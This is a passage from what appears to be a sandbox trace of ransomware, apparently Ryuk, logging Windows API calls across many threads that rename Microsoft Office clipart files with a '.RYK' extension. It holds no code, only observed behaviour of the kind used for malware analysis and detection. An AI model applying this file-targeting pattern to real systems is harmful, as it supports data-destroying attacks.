	[0223.705] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152558.WMF", dwFileAttributes=0x80) returned 0
	[0223.705] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152558.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152558.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0223.706] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0223.706] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152558.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152558.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152558.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152558.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2516
	os_tid = 0x2cb4

	[0223.708] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152560.WMF", dwFileAttributes=0x80) returned 0
	[0223.708] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152560.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152560.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0223.708] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0223.708] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152560.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152560.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152560.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152560.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2517
	os_tid = 0x2cb8

	[0223.710] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152568.WMF", dwFileAttributes=0x80) returned 0
	[0224.049] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152568.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152568.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0225.072] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0225.073] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152568.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152568.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152568.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152568.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2518
	os_tid = 0x2cbc

	[0223.712] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152570.WMF", dwFileAttributes=0x80) returned 0
	[0224.051] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152570.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152570.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0225.073] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0225.073] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152570.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152570.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152570.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152570.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2519
	os_tid = 0x2cc0

	[0223.714] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152590.WMF", dwFileAttributes=0x80) returned 0
	[0224.052] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152590.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152590.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0225.074] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0225.074] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152590.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152590.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152590.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152590.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2520
	os_tid = 0x2cc4

	[0223.715] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152594.WMF", dwFileAttributes=0x80) returned 0
	[0224.053] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152594.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152594.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0225.074] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0225.075] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152594.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152594.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152594.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152594.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2521
	os_tid = 0x2cc8

	[0223.717] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152600.WMF", dwFileAttributes=0x80) returned 0
	[0224.053] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152600.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152600.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0225.075] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0225.076] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152600.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152600.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152600.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152600.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2522
	os_tid = 0x2ccc

	[0223.718] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152602.WMF", dwFileAttributes=0x80) returned 0
	[0224.054] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152602.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152602.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0225.076] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0225.077] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152602.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152602.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152602.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152602.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2523
	os_tid = 0x2cd0

	[0223.719] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152606.WMF", dwFileAttributes=0x80) returned 0
	[0224.055] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152606.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152606.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0225.077] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0225.077] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152606.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152606.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152606.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152606.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2524
	os_tid = 0x2cd4

	[0224.058] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152608.WMF", dwFileAttributes=0x80) returned 0
	[0224.746] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152608.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152608.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0225.199] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0225.199] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152608.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152608.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152608.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152608.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2526
	os_tid = 0x2cdc

	[0224.059] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152610.WMF", dwFileAttributes=0x80) returned 0
	[0224.747] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152610.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152610.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0225.198] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0225.198] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152610.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152610.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152610.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152610.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2527
	os_tid = 0x2ce0

	[0224.060] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152622.WMF", dwFileAttributes=0x80) returned 0
	[0224.897] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152622.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152622.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0224.897] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0224.897] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152622.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152622.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152622.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152622.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2528
	os_tid = 0x2ce4

	[0224.061] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152626.WMF", dwFileAttributes=0x80) returned 0
	[0224.748] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152626.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152626.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0225.197] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0225.198] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152626.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152626.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152626.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152626.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2529
	os_tid = 0x2ce8

	[0224.062] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152628.WMF", dwFileAttributes=0x80) returned 0
	[0224.748] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152628.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152628.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0225.080] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0225.080] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152628.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152628.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152628.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152628.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2530
	os_tid = 0x2cec

	[0224.064] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152688.WMF", dwFileAttributes=0x80) returned 0
	[0224.898] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152688.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152688.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0224.899] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0224.899] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152688.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152688.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152688.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152688.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2531
	os_tid = 0x2cf0

	[0224.074] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152690.WMF", dwFileAttributes=0x80) returned 0
	[0224.899] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152690.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152690.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0224.900] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0224.900] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152690.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152690.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152690.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152690.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2532
	os_tid = 0x2cf4

	[0224.075] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152694.WMF", dwFileAttributes=0x80) returned 0
	[0224.900] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152694.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152694.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0224.901] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0224.901] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152694.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152694.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152694.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152694.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2533
	os_tid = 0x2cf8

	[0224.076] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152696.WMF", dwFileAttributes=0x80) returned 0
	[0224.901] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152696.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152696.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0224.902] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0224.902] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152696.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152696.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152696.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152696.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2534
	os_tid = 0x2cfc

	[0224.329] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152698.WMF", dwFileAttributes=0x80) returned 0
	[0224.754] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152698.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152698.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0224.754] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0224.755] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152698.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152698.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152698.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152698.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2537
	os_tid = 0x2d08

	[0224.330] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152702.WMF", dwFileAttributes=0x80) returned 0
	[0225.052] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152702.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152702.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0225.428] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0225.429] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152702.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152702.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152702.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152702.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2538
	os_tid = 0x2d0c

	[0224.331] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152704.WMF", dwFileAttributes=0x80) returned 0
	[0224.903] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152704.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152704.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0224.904] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0224.904] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152704.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152704.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152704.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152704.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2539
	os_tid = 0x2d10

	[0224.332] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152708.WMF", dwFileAttributes=0x80) returned 0
	[0224.904] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152708.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152708.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0224.905] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0224.905] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152708.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152708.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152708.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152708.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2540
	os_tid = 0x2d14

	[0224.333] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152716.WMF", dwFileAttributes=0x80) returned 0
	[0224.907] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152716.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152716.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0224.907] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0224.907] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152716.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152716.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152716.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152716.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2541
	os_tid = 0x2d18

	[0224.334] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152722.WMF", dwFileAttributes=0x80) returned 0
	[0224.908] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152722.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152722.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0224.908] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0224.908] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152722.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152722.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152722.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152722.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2542
	os_tid = 0x2d1c

	[0224.336] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152876.WMF", dwFileAttributes=0x80) returned 0
	[0225.055] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152876.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152876.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0225.426] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0225.427] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152876.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152876.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152876.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152876.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2543
	os_tid = 0x2d20

	[0224.581] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152878.WMF", dwFileAttributes=0x80) returned 0
	[0225.056] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152878.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152878.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0225.377] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0225.378] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152878.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152878.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152878.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152878.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2544
	os_tid = 0x2d24


Thread:
